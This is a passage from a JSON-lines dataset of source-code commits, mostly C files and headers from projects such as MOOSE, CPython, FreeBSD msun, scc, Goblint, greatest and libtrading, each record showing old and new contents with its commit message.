omium.src,hgl888\/chromium-crosswalk-efl,rogerwang\/chromium,dednal\/chromium.src,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,jaruba\/chromium.src,robclark\/chromium,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,M4sse\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,rogerwang\/chromium,ChromiumWebApps\/chromium,littlstar\/chromium.src,robclark\/chromium,dushu1203\/chromium.src,dednal\/chromium.src,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,Jonekee\/chromium.src,littlstar\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk,patrickm\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,Just-D\/chromium-1,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,dednal\/chromium.src,robclark\/chromium,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,keishi\/chromium,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,robclark\/chromium,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,timopulkkinen\/BubbleFish,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,littlstar\/chromium.src,chuan9\/chromium-crosswalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,keishi\/chromium,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,ltilve\/chromium,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,robclark\/chromium,zcbenz\/cefode-chromium,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,robclark\/chromium,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,dednal\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,rogerwang\/chromium,dushu1203\/chromium.src,axinging\/chromium-crosswalk,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ltilve\/chromium,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,Jonekee\/chromium.src,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,keishi\/chromium,rogerwang\/chromium,patrickm\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,M4sse\/chromium.src,ChromiumWebApps\/chromium,patrickm\/chromium.src,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,M4sse\/chromium.src,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,keishi\/chromium,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,keishi\/chromium,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,dushu1203\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,ondra-novak\/chromium.src,patrickm\/chromium.src,M4sse\/chromium.src,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,dednal\/chromium.src,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,ChromiumWebApps\/chromium,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,keishi\/chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src"}
{"commit":"c6aef16d6f64fa9cd13ce6a1ceb89713455bc6b0","old_file":"modules\/electromagnetics\/include\/postprocessors\/ReflectionCoefficient.h","new_file":"modules\/electromagnetics\/include\/postprocessors\/ReflectionCoefficient.h","old_contents":"#ifndef REFLECTIONCOEFFICIENT_H\n#define REFLECTIONCOEFFICIENT_H\n\n#include \"SidePostprocessor.h\"\n#include \"MooseVariableInterface.h\"\n\nclass ReflectionCoefficient;\n\ntemplate <>\nInputParameters validParams<ReflectionCoefficient>();\n\nclass ReflectionCoefficient : public SidePostprocessor, public MooseVariableInterface<Real>\n{\npublic:\n  ReflectionCoefficient(const InputParameters & parameters);\n\n  virtual void initialize() override;\n  virtual void execute() override;\n  virtual PostprocessorValue getValue() override;\n\n  virtual void threadJoin(const UserObject & y) override;\n\nprotected:\n  virtual Real computeReflection();\n\n  const VariableValue & _u;\n\n  unsigned int _qp;\n\nprivate:\n  const VariableValue & _coupled_imag;\n\n  Real _theta;\n\n  Real _length;\n\n  Real _k;\n\n  Real _coeff;\n\n  Real _reflection_coefficient;\n};\n\n#endif \/\/ REFLECTIONCOEFFICIENT_H\n","new_contents":"#pragma once\n\n#include \"SidePostprocessor.h\"\n#include \"MooseVariableInterface.h\"\n\nclass ReflectionCoefficient;\n\ntemplate <>\nInputParameters validParams<ReflectionCoefficient>();\n\nclass ReflectionCoefficient : public SidePostprocessor, public MooseVariableInterface<Real>\n{\npublic:\n  ReflectionCoefficient(const InputParameters & parameters);\n\n  virtual void initialize() override;\n  virtual void execute() override;\n  virtual PostprocessorValue getValue() override;\n\n  virtual void threadJoin(const UserObject & y) override;\n\nprotected:\n  virtual Real computeReflection();\n\n  const VariableValue & _u;\n\n  unsigned int _qp;\n\nprivate:\n  const VariableValue & _coupled_imag;\n\n  Real _theta;\n\n  Real _length;\n\n  Real _k;\n\n  Real _coeff;\n\n  Real _reflection_coefficient;\n};\n","subject":"Convert postprocessors to pragma once","message":"Convert postprocessors to pragma once\n\nrefs #21085\n","lang":"C","license":"lgpl-2.1","repos":"harterj\/moose,dschwen\/moose,andrsd\/moose,sapitts\/moose,milljm\/moose,harterj\/moose,laagesen\/moose,harterj\/moose,harterj\/moose,laagesen\/moose,lindsayad\/moose,milljm\/moose,milljm\/moose,andrsd\/moose,dschwen\/moose,dschwen\/moose,sapitts\/moose,lindsayad\/moose,andrsd\/moose,laagesen\/moose,andrsd\/moose,milljm\/moose,sapitts\/moose,idaholab\/moose,lindsayad\/moose,laagesen\/moose,dschwen\/moose,idaholab\/moose,milljm\/moose,idaholab\/moose,harterj\/moose,laagesen\/moose,lindsayad\/moose,idaholab\/moose,sapitts\/moose,lindsayad\/moose,sapitts\/moose,dschwen\/moose,idaholab\/moose,andrsd\/moose"}
{"commit":"85de995f9baa868dd53ed84986426a63ed9bdc99","old_file":"PC\/dl_nt.c","new_file":"PC\/dl_nt.c","old_contents":"\/*\n\nEntry point for the Windows NT DLL.\n\nAbout the only reason for having this, is so initall() can automatically\nbe called, removing that burden (and possible source of frustration if \nforgotten) from the programmer.\n\n*\/\n#include \"windows.h\"\n\n\/* NT and Python share these *\/\n#undef INCREF\n#undef DECREF\n#include \"config.h\"\n#include \"allobjects.h\"\n\nHMODULE PyWin_DLLhModule = NULL;\n\nBOOL\tWINAPI\tDllMain (HANDLE hInst, \n\t\t\t\t\t\tULONG ul_reason_for_call,\n\t\t\t\t\t\tLPVOID lpReserved)\n{\n\tswitch (ul_reason_for_call)\n\t{\n\t\tcase DLL_PROCESS_ATTACH:\n\t\t\tPyWin_DLLhModule = hInst;\n\t\t\tinitall();\n\t\t\tbreak;\n\t\tcase DLL_PROCESS_DETACH:\n\t\t\tbreak;\n\t}\n\treturn TRUE;\n}\n","new_contents":"\/*\n\nEntry point for the Windows NT DLL.\n\nAbout the only reason for having this, is so initall() can automatically\nbe called, removing that burden (and possible source of frustration if \nforgotten) from the programmer.\n\n*\/\n#include \"windows.h\"\n\n\/* NT and Python share these *\/\n#include \"config.h\"\n#include \"Python.h\"\n\nHMODULE PyWin_DLLhModule = NULL;\n\nBOOL\tWINAPI\tDllMain (HANDLE hInst, \n\t\t\t\t\t\tULONG ul_reason_for_call,\n\t\t\t\t\t\tLPVOID lpReserved)\n{\n\tswitch (ul_reason_for_call)\n\t{\n\t\tcase DLL_PROCESS_ATTACH:\n\t\t\tPyWin_DLLhModule = hInst;\n\t\t\t\/\/initall();\n\t\t\tbreak;\n\t\tcase DLL_PROCESS_DETACH:\n\t\t\tbreak;\n\t}\n\treturn TRUE;\n}\n","subject":"Use Python.h, not allobjects.h. Don't call initall() (Experimental incompatible change!!!!!!)","message":"Use Python.h, not allobjects.h.\nDon't call initall()  (Experimental incompatible change!!!!!!)\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"f6cbd04937a2b1503a4eaeeb6e18a8c31133d0b6","old_file":"hanoi.c","new_file":"hanoi.c","old_contents":"\/*\n * Copyright (C) 2014-2015 Pavel Dolgov\n *\n * See the LICENSE file for terms of use.\n *\/\n\n#include <stdio.h>\n\n#define TOWER1 1\n#define TOWER2 3\n\nvoid hanoi(int a, int n1, int n2) {\n     if (a == 1) { \/\/ end of recursion\n        printf(\"%d %d %d\\n\", a, n1, n2);\n     } else {\n        int x, na;\n        for (x = TOWER1; x <= TOWER2; x++) {\n             if ((x != n1) && (x != n2)) {\n                 na = x;\n                 break;\n             }\n        }\n        hanoi(a - 1, n1, na); \/\/ recursion\n        printf(\"%d %d %d\\n\", a, n1, n2);\n        hanoi(a - 1, na, n2); \/\/ recursion\n    }\n}\n\nint main() {\n    int n;\n    scanf(\"%d\", &n);\n    hanoi(n, TOWER1, TOWER2);\n}\n\n","new_contents":"\/*\n * Copyright (C) 2014-2015 Pavel Dolgov\n *\n * See the LICENSE file for terms of use.\n *\/\n\n#include <stdio.h>\n\n#define TOWER1 1\n#define TOWER2 3\n\nvoid hanoi(int a, int n1, int n2) {\n     if (a == 1) { \/\/ end of recursion\n        printf(\"%d %d %d\\n\", a, n1, n2);\n     } else {\n        int x, na;\n        for (x = TOWER1; x <= TOWER2; x++) {\n             if ((x != n1) && (x != n2)) {\n                 na = x;\n                 break;\n             }\n        }\n        hanoi(a - 1, n1, na); \/\/ recursion\n        printf(\"%d %d %d\\n\", a, n1, n2);\n        hanoi(a - 1, na, n2); \/\/ recursion\n    }\n}\n\nint main() {\n    int n;\n    scanf(\"%d\", &n);\n    hanoi(n, TOWER1, TOWER2);\n}\n","subject":"Fix layout (delete empty string)","message":"Fix layout (delete empty string)\n","lang":"C","license":"mit","repos":"zer0main\/hanoi_tower"}
{"commit":"f9dedee2f091dd14a8da268399c34c00b6d37695","old_file":"Game.h","new_file":"Game.h","old_contents":"#pragma once \/\/ This guarantees that the code is included only once in the game.\n#include \"SFML\/Window.hpp\"\n#include \"SFML\/Graphics.hpp\"\n\nclass Game {\n    public:\n        \/\/ Objects declared static are allocated storage in static storage area, and have scope till the end of the program.\n        static void Start(); \n    private:\n        static bool IsExiting();\n        static void GameLoop();\n\n        enum GameState {\n            Uninitialized, ShowingSplash, Paused, ShowingMenu, Playing, Exiting\n        }; \/\/ Represents the various states the game can be in. An enum is a user-defined type consisting of a set of named constants called enumerators. \n\n        static GameState _gameState;\n        static sf::RenderWindow _mainWindow;\n};\n","new_contents":"#ifndef GAME_H \/\/ This guarentees that the code is included only once in the game.\n#define GAME_H\n\n#include \"SFML\/Graphics.hpp\"\n#include \"SFML\/Window.hpp\"\n\nclass Game {\n    public:\n        \/\/ Objects declared static are allocated storage in static storage area, and have scope till the end of the program.\n        static void start(); \n    private:\n        static bool is_exiting();\n        static void game_loop();\n\n        enum game_state {\n            Uninitialized, ShowingSplash, Paused, ShowingMenu, Playing, Exiting\n        }; \/\/ Represents the various states the game can be in. An enum is a user-defined type consisting of a set of named constants called enumerators. \n\n        static game_state s_game_state;\n        static sf::RenderWindow s_main_window;\n};\n\n#endif\n","subject":"Change styling convention of the variable names","message":"Change styling convention of the variable names\n","lang":"C","license":"mit","repos":"jessicaphuong\/pong-clone"}
{"commit":"f533072ea6e6b4806db8166d10f40a3acb982c79","old_file":"modules\/solid_mechanics\/include\/materials\/nonlinear_strain\/Elastic.h","new_file":"modules\/solid_mechanics\/include\/materials\/nonlinear_strain\/Elastic.h","old_contents":"#ifndef ELASTIC_H\n#define ELASTIC_H\n\n#include \"MaterialModel.h\"\n\n\/\/ Forward declarations\nclass ElasticityTensor;\nclass Elastic;\n\ntemplate<>\nInputParameters validParams<Elastic>();\n\nclass Elastic : public MaterialModel\n{\npublic:\n  Elastic( const std::string & name,\n           InputParameters parameters );\n  virtual ~Elastic();\n\nprotected:\n\n  \/\/\/ Compute the stress (sigma += deltaSigma)\n  virtual void computeStress();\n\n};\n\n#endif\n","new_contents":"#ifndef ELASTIC_H\n#define ELASTIC_H\n\n#include \"MaterialModel.h\"\n\n\/\/ Forward declarations\nclass ElasticityTensor;\nclass Elastic;\n\ntemplate<>\nInputParameters validParams<Elastic>();\n\nclass Elastic : public MaterialModel\n{\npublic:\n  Elastic( const std::string & name,\n           InputParameters parameters );\n  virtual ~Elastic();\n\nprotected:\n\n  \/\/\/ Compute the stress (sigma += deltaSigma)\n  virtual void computeStress();\n\n};\n\n\n#endif\n","subject":"Update new files with SymmTensor changes","message":"Update new files with SymmTensor changes\n\nr5226\n","lang":"C","license":"lgpl-2.1","repos":"zzyfisherman\/moose,jasondhales\/moose,jhbradley\/moose,jessecarterMOOSE\/moose,cpritam\/moose,jhbradley\/moose,wgapl\/moose,YaqiWang\/moose,shanestafford\/moose,xy515258\/moose,raghavaggarwal\/moose,andrsd\/moose,Chuban\/moose,apc-llc\/moose,bwspenc\/moose,mellis13\/moose,xy515258\/moose,adamLange\/moose,giopastor\/moose,giopastor\/moose,stimpsonsg\/moose,harterj\/moose,sapitts\/moose,waxmanr\/moose,tonkmr\/moose,jiangwen84\/moose,roystgnr\/moose,laagesen\/moose,harterj\/moose,idaholab\/moose,katyhuff\/moose,stimpsonsg\/moose,yipenggao\/moose,liuwenf\/moose,jasondhales\/moose,shanestafford\/moose,lindsayad\/moose,wgapl\/moose,waxmanr\/moose,idaholab\/moose,tonkmr\/moose,zzyfisherman\/moose,sapitts\/moose,shanestafford\/moose,lindsayad\/moose,jinmm1992\/moose,SudiptaBiswas\/moose,markr622\/moose,permcody\/moose,zzyfisherman\/moose,lindsayad\/moose,liuwenf\/moose,adamLange\/moose,apc-llc\/moose,dschwen\/moose,bwspenc\/moose,friedmud\/moose,joshua-cogliati-inl\/moose,SudiptaBiswas\/moose,andrsd\/moose,harterj\/moose,joshua-cogliati-inl\/moose,joshua-cogliati-inl\/moose,cpritam\/moose,friedmud\/moose,jbair34\/moose,backmari\/moose,markr622\/moose,jiangwen84\/moose,raghavaggarwal\/moose,milljm\/moose,YaqiWang\/moose,sapitts\/moose,nuclear-wizard\/moose,danielru\/moose,YaqiWang\/moose,Chuban\/moose,roystgnr\/moose,backmari\/moose,friedmud\/moose,WilkAndy\/moose,jessecarterMOOSE\/moose,raghavaggarwal\/moose,nuclear-wizard\/moose,kasra83\/moose,nuclear-wizard\/moose,harterj\/moose,jessecarterMOOSE\/moose,roystgnr\/moose,laagesen\/moose,nuclear-wizard\/moose,milljm\/moose,WilkAndy\/moose,jhbradley\/moose,mellis13\/moose,permcody\/moose,tonkmr\/moose,dschwen\/moose,milljm\/moose,cpritam\/moose,liuwenf\/moose,laagesen\/moose,andrsd\/moose,roystgnr\/moose,WilkAndy\/moose,liuwenf\/moose,danielru\/moose,shanestafford\/moose,apc-llc\/moose,cpritam\/moose,laagesen\/moose,bwspenc\/moose,adamLange\/moose,xy515258\/moose,friedmud\/moose,danielru\/moose,mellis13\/moose,mellis13\/moose,zzyfisherman\/moose,dschwen\/moose,capitalaslash\/moose,jiangwen84\/moose,WilkAndy\/moose,jbair34\/moose,andrsd\/moose,markr622\/moose,jiangwen84\/moose,yipenggao\/moose,markr622\/moose,yipenggao\/moose,cpritam\/moose,apc-llc\/moose,giopastor\/moose,jasondhales\/moose,WilkAndy\/moose,katyhuff\/moose,idaholab\/moose,capitalaslash\/moose,waxmanr\/moose,wgapl\/moose,roystgnr\/moose,laagesen\/moose,Chuban\/moose,stimpsonsg\/moose,kasra83\/moose,bwspenc\/moose,backmari\/moose,idaholab\/moose,Chuban\/moose,roystgnr\/moose,katyhuff\/moose,jinmm1992\/moose,liuwenf\/moose,raghavaggarwal\/moose,YaqiWang\/moose,idaholab\/moose,shanestafford\/moose,lindsayad\/moose,lindsayad\/moose,joshua-cogliati-inl\/moose,sapitts\/moose,danielru\/moose,kasra83\/moose,adamLange\/moose,dschwen\/moose,permcody\/moose,jessecarterMOOSE\/moose,SudiptaBiswas\/moose,xy515258\/moose,capitalaslash\/moose,roystgnr\/moose,sapitts\/moose,backmari\/moose,SudiptaBiswas\/moose,liuwenf\/moose,zzyfisherman\/moose,jhbradley\/moose,zzyfisherman\/moose,milljm\/moose,WilkAndy\/moose,yipenggao\/moose,capitalaslash\/moose,tonkmr\/moose,SudiptaBiswas\/moose,milljm\/moose,dschwen\/moose,kasra83\/moose,cpritam\/moose,shanestafford\/moose,katyhuff\/moose,andrsd\/moose,bwspenc\/moose,stimpsonsg\/moose,waxmanr\/moose,jinmm1992\/moose,giopastor\/moose,jasondhales\/moose,harterj\/moose,permcody\/moose,jbair34\/moose,tonkmr\/moose,wgapl\/moose,jinmm1992\/moose,tonkmr\/moose,jbair34\/moose,jessecarterMOOSE\/moose"}
{"commit":"d037fe2cca7e0cdc8bfe48b67480201458d083d0","old_file":"lib\/msun\/src\/w_dremf.c","new_file":"lib\/msun\/src\/w_dremf.c","old_contents":"\/*\n * dremf() wrapper for remainderf().\n *\n * Written by J.T. Conklin, <jtc@wimsey.com>\n * Placed into the Public Domain, 1994.\n *\/\n\n#include \"math.h\"\n#include \"math_private.h\"\n\nfloat\ndremf(x, y)\n\tfloat x, y;\n{\n\treturn remainderf(x, y);\n}\n","new_contents":"\/*\n * dremf() wrapper for remainderf().\n *\n * Written by J.T. Conklin, <jtc@wimsey.com>\n * Placed into the Public Domain, 1994.\n *\/\n\/* $FreeBSD$ *\/\n\n#include \"math.h\"\n#include \"math_private.h\"\n\nfloat\ndremf(float x, float y)\n{\n\treturn remainderf(x, y);\n}\n","subject":"Work around known GCC 3.4.x problem and use ANSI prototype for dremf().","message":"Work around known GCC 3.4.x problem and use ANSI prototype for dremf().\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"9e9d12f6adaeaeddc5060b5ddd353bcbdd5794e2","old_file":"ex01-16.c","new_file":"ex01-16.c","old_contents":"","new_contents":"#include <stdio.h>\n\n#define MAXLINE 10\/*00*\/  \/* maximum input size *\/\n\nint _getline(char line[], int maxline);\n\/* getline is a library function in POSIX; unfortunately on OS X the -ansi flag\n   doesn't help *\/\nvoid copy(char to[], char from[]);\n\nmain() {\n    int len;\n    int max;\n    char line[MAXLINE];\n    char longest[MAXLINE];\n\n    max = 0;\n    while ((len = _getline(line, MAXLINE)) > 0)\n        if (len > max) {\n            max = len;\n            copy(longest, line);\n        }\n    if (max > 0) {  \/* there was a line *\/\n        printf(\"%d\\n\", max);\n        printf(\"%s\", longest);\n    }\n    return 0;\n}\n\n\/* _getline: read a line into s, return length *\/\nint _getline(char s[], int lim) {\n    int c, i, length;\n\n    i = length = 0;\n    while ((c = getchar()) != EOF) {\n        ++length;\n        if (i < lim - 1) {\n            s[i] = c;\n            ++i;\n        }\n        if (c == '\\n') {\n            break;\n        }\n    }\n    s[i-1] = '\\n';\n    s[i] = '\\0';\n    return length;\n}\n\n\/* copy: copy 'from' into 'to'; assume to is big enough *\/\nvoid copy(char to[], char from[]) {\n    int i;\n\n    i = 0;\n    while ((to[i] = from[i]) != '\\0')\n        ++i;\n}\n","subject":"Add solution for exercise 16.","message":"Add solution for exercise 16.\n","lang":"C","license":"unlicense","repos":"kdungs\/exercises-KnR"}
{"commit":"0f4df1ecbd2a1b0067ae779b28599668c7a27167","old_file":"inc\/scc.h","new_file":"inc\/scc.h","old_contents":"#include <stddef.h>\n\nextern int debug;\n\n#ifndef NDEBUG\n#define DBG(...) dbg(__VA_ARGS__)\n#define DBGON() (debug = 1)\n#else\n#define DBG(...)\n#define DBGON()\n#endif\n\n#define TINT        long long\n#define TUINT       unsigned long long\n#define TFLOAT      double\n\nstruct items {\n\tchar **s;\n\tunsigned n;\n};\n\ntypedef struct alloc Alloc;\n\nextern void die(const char *fmt, ...);\nextern void dbg(const char *fmt, ...);\nextern void newitem(struct items *items, char *item);\nextern void *xmalloc(size_t size);\nextern void *xcalloc(size_t nmemb, size_t size);\nextern char *xstrdup(const char *s);\nextern void *xrealloc(void *buff, register size_t size);\nextern Alloc *alloc(size_t size, size_t nmemb);\nextern void dealloc(Alloc *allocp);\nextern void *new(Alloc *allocp);\nextern void delete(Alloc *allocp, void *p);\nextern int casecmp(const char *s1, const char *s2);\nextern int lpack(unsigned char *dst, char *fmt, ...);\nextern int lunpack(unsigned char *src, char *fmt, ...);\n","new_contents":"#include <stddef.h>\n\nextern int debug;\n\n#ifndef NDEBUG\n#define DBG(...) dbg(__VA_ARGS__)\n#define DBGON() (debug = 1)\n#else\n#define DBG(...)\n#define DBGON()\n#endif\n\n#define TINT        long long\n#define TUINT       unsigned long long\n#define TUINT_MAX   ULLONG_MAX\n#define TINT_MAX    LLONG_MAX\n#define TFLOAT      double\n\nstruct items {\n\tchar **s;\n\tunsigned n;\n};\n\ntypedef struct alloc Alloc;\n\nextern void die(const char *fmt, ...);\nextern void dbg(const char *fmt, ...);\nextern void newitem(struct items *items, char *item);\nextern void *xmalloc(size_t size);\nextern void *xcalloc(size_t nmemb, size_t size);\nextern char *xstrdup(const char *s);\nextern void *xrealloc(void *buff, register size_t size);\nextern Alloc *alloc(size_t size, size_t nmemb);\nextern void dealloc(Alloc *allocp);\nextern void *new(Alloc *allocp);\nextern void delete(Alloc *allocp, void *p);\nextern int casecmp(const char *s1, const char *s2);\nextern int lpack(unsigned char *dst, char *fmt, ...);\nextern int lunpack(unsigned char *src, char *fmt, ...);\n","subject":"Add limits macros for TUINT and TINT","message":"Add limits macros for TUINT and TINT\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"98c3fef74045aa6d8c7813f8ba8c511ab70ec59e","old_file":"tests\/regression\/36-octapron\/40-rational-bounds.c","new_file":"tests\/regression\/36-octapron\/40-rational-bounds.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <assert.h>\n\nvoid main() {\n  int x;\n  if (x <= 10) {\n    assert((x \/ 3) <= 3);\n  }\n}\n","subject":"Add test where octApron derives non-integer bounds","message":"Add test where octApron derives non-integer bounds\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c2b84152f437e86cc2b55c1cc0bbb35d3fa645b5","old_file":"example_no_runner.c","new_file":"example_no_runner.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n\n#include \"greatest.h\"\n\nTEST standalone_pass(void) {\n    PASS();\n}\n\n\/* Add all the definitions that need to be in the test runner's main file. *\/\nGREATEST_MAIN_DEFS();\n\nint main(int argc, char **argv) {\n    (void)argc;\n    (void)argv;\n    \n    \/* Initialize greatest, but don't build the CLI test runner code. *\/\n    GREATEST_INIT();\n\n    RUN_TEST(standalone_pass);\n\n    \/* Print report, but do not exit. *\/\n    printf(\"\\nStandard report, as printed by greatest:\\n\");\n    GREATEST_PRINT_REPORT();\n    \n    struct greatest_report_t report;\n    greatest_get_report(&report);\n\n    printf(\"\\nCustom report:\\n\");\n    printf(\"pass %u, fail %u, skip %u, assertions %u\\n\",\n        report.passed, report.failed, report.skipped, report.assertions);\n\n    if (report.failed > 0) {\n        return 1;\n    }\n\n    return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n\n#include \"greatest.h\"\n\nTEST standalone_pass(void) {\n    PASS();\n}\n\n\/* Add all the definitions that need to be in the test runner's main file. *\/\nGREATEST_MAIN_DEFS();\n\nint main(int argc, char **argv) {\n    struct greatest_report_t report;\n    (void)argc;\n    (void)argv;\n    \n    \/* Initialize greatest, but don't build the CLI test runner code. *\/\n    GREATEST_INIT();\n\n    RUN_TEST(standalone_pass);\n\n    \/* Print report, but do not exit. *\/\n    printf(\"\\nStandard report, as printed by greatest:\\n\");\n    GREATEST_PRINT_REPORT();\n    \n    greatest_get_report(&report);\n\n    printf(\"\\nCustom report:\\n\");\n    printf(\"pass %u, fail %u, skip %u, assertions %u\\n\",\n        report.passed, report.failed, report.skipped, report.assertions);\n\n    if (report.failed > 0) {\n        return 1;\n    }\n\n    return 0;\n}\n","subject":"Fix warning for mixing declarations and code in ISO C90.","message":"Fix warning for mixing declarations and code in ISO C90.\n","lang":"C","license":"isc","repos":"silentbicycle\/greatest,silentbicycle\/greatest"}
{"commit":"80bf0da7bfe646f94615ce6e3aa67cfa4648bc1d","old_file":"include\/libtrading\/byte-order.h","new_file":"include\/libtrading\/byte-order.h","old_contents":"#ifndef LIBTRADING_BYTE_ORDER_H\n#define LIBTRADING_BYTE_ORDER_H\n\n#include \"libtrading\/types.h\"\n\n#include <arpa\/inet.h>\n\nstatic inline be16 cpu_to_be16(u16 value)\n{\n\treturn htons(value);\n}\n\nstatic inline be32 cpu_to_be32(u32 value)\n{\n\treturn htonl(value);\n}\n\nstatic inline u16 be16_to_cpu(be16 value)\n{\n\treturn ntohs(value);\n}\n\nstatic inline u32 be32_to_cpu(be32 value)\n{\n\treturn ntohl(value);\n}\n\n#endif\n","new_contents":"#ifndef LIBTRADING_BYTE_ORDER_H\n#define LIBTRADING_BYTE_ORDER_H\n\n#include <endian.h>\n\n\/*\n * Little Endian\n *\/\n\nstatic inline le16 cpu_to_le16(u16 value)\n{\n\treturn htole16(value);\n}\n\nstatic inline le32 cpu_to_le32(u32 value)\n{\n\treturn htole32(value);\n}\n\nstatic inline le64 cpu_to_le64(u64 value)\n{\n\treturn htole64(value);\n}\n\nstatic inline u16 le16_to_cpu(le16 value)\n{\n\treturn le16toh(value);\n}\n\nstatic inline u32 le32_to_cpu(le32 value)\n{\n\treturn le32toh(value);\n}\n\nstatic inline u64 le64_to_cpu(le64 value)\n{\n\treturn le64toh(value);\n}\n\n\/*\n * Big Endian\n *\/\n\nstatic inline be16 cpu_to_be16(u16 value)\n{\n\treturn htobe16(value);\n}\n\nstatic inline be32 